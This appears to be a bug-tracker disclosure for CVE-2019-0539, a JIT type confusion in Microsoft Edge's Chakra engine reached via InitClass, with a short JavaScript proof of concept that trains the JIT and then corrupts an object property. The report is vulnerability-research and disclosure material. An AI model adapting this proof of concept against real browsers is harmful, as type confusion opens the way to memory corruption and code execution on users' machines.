Microsoft Edge Chakra JIT InitClass Type Confusion

Microsoft Edge: Chakra: JIT: Type confusion via InitClass 

CVE-2019-0539


This is similar to <a href="/p/project-zero/issues/detail?id=1702" title="Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto" class="closed_ref" rel="nofollow"> issue 1702 </a>. This time, it uses an InitClass instruction to reach the SetIsPrototype method.

function opt(o, c, value) {
    o.b = 1;

    class A extends c {

    }

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o;

    opt(o, cons, 0x1234);

    print(o.a);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

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